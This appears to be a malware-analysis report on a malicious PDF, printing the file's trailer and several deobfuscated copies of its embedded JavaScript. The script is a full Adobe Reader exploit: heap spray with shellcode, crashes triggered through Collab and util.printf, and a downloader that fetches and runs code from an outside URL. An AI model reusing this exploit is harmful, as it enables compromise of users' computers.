1;}}catch\(e\){vFp16ohgjX = 1;}if\(vFp16ohgjX == 1\){if\(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1\){cI0ZIhIXc\(1\);var eM1GFaEh = \\"12999999999999999999\\";for\(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++\){eM1GFaEh += \\"8\\";}var dBuIuB2lL = util;dBuIuB2lL[\\"printf\\"]\(\\"E000f\\", eM1GFaEh\);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut\(\\"app.tQgzaH2xWs\(\)\\", 10\);';this.aP8WLvtql=30574;function kdfijC2vl5\(b7dSkmfjGf,nXCfF4je\){return false;}function eouHVJaqU\(vjeGnJYx\){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace\(/[]/g, ''\);iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array\('gphvRem5E1','i1US5n4s','jZrMLXAa0'\);var brkQZv4D = 'e'+'v'+'a'+'l';app[brkQZv4D]\(diiH1sBFC\);var lbLFdNd7r=new Array\('pVfnTVos','dlhO4OvBI','fSZsSgA5H'\);function gEqlgxELr\(\){return false;}function kLf9pm3V2r\(\){return false;})
>>
endobj
33 0 obj
<<
/Title (��thoseMiddleForm)
/Author (��ametGalleyRandom)
/Subject (��goodOfFrom)
/Keywords (��tendNowTheir, thereGoingRepeat, needTextTheir)
/Creator (��sureIn)
/Producer (��18b8ea83d814103c4a8f379165ce9a62)
/CreationDate (D:20091013200308+04'00')
/ModDate (D:20091013200308+04'00')
>>
endobj
34 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 31 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [25 0 R 26 0 R] /D <</ON [25 0 R] /OFF [26 0 R] /AS [<</Event /Print /OCGs [25 0 R 26 0 R] /Category [/Print]>> <</Event /View /OCGs [25 0 R 26 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 35
0000000000 65535 f
0000017968 00000 n
0000021245 00000 n
0000000009 00000 n
0000000117 00000 n
0000001652 00000 n
0000001760 00000 n
0000003239 00000 n
0000003347 00000 n
0000004887 00000 n
0000004996 00000 n
0000006533 00000 n
0000006643 00000 n
0000008178 00000 n
0000008288 00000 n
0000009793 00000 n
0000009903 00000 n
0000011470 00000 n
0000011580 00000 n
0000013135 00000 n
0000013245 00000 n
0000014782 00000 n
0000014892 00000 n
0000016465 00000 n
0000016575 00000 n
0000018094 00000 n
0000018210 00000 n
0000018324 00000 n
0000018431 00000 n
0000018540 00000 n
0000018648 00000 n
0000021440 00000 n
0000021492 00000 n
0000034112 00000 n
0000034540 00000 n
trailer
<<
/Size 35
/Root 34 0 R
/Info 33 0 R
>>
startxref
34942
%%EOF
|
|||
generic_stage_recovery_006.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 32 at offset 0x53F4 | 5937 bytes |
SHA-256: 958700e10291372fa0a03d4a1d4868e6df968d76c5a13bef12e203fa7b409cce |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\"%09\");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"%45000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'eval';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
generic_stage_recovery_007.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from JavaScript object 32 at offset 0x53F4 | 5942 bytes |
SHA-256: 60c0e9e16ab9f370e7f971870dba65e0acf2220d680c656deacb8250befb1877 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\" \");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"E000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'e'+'v'+'a'+'l';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
generic_stage_recovery_008.js |
deobfuscated-js | generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x53F4 at offset 0x53F4 | 5931 bytes |
SHA-256: 39f46febc7f242b4a1ae52cefe8d5507e95481b8cc1644ce473f7c6e25086b84 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\" \");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = 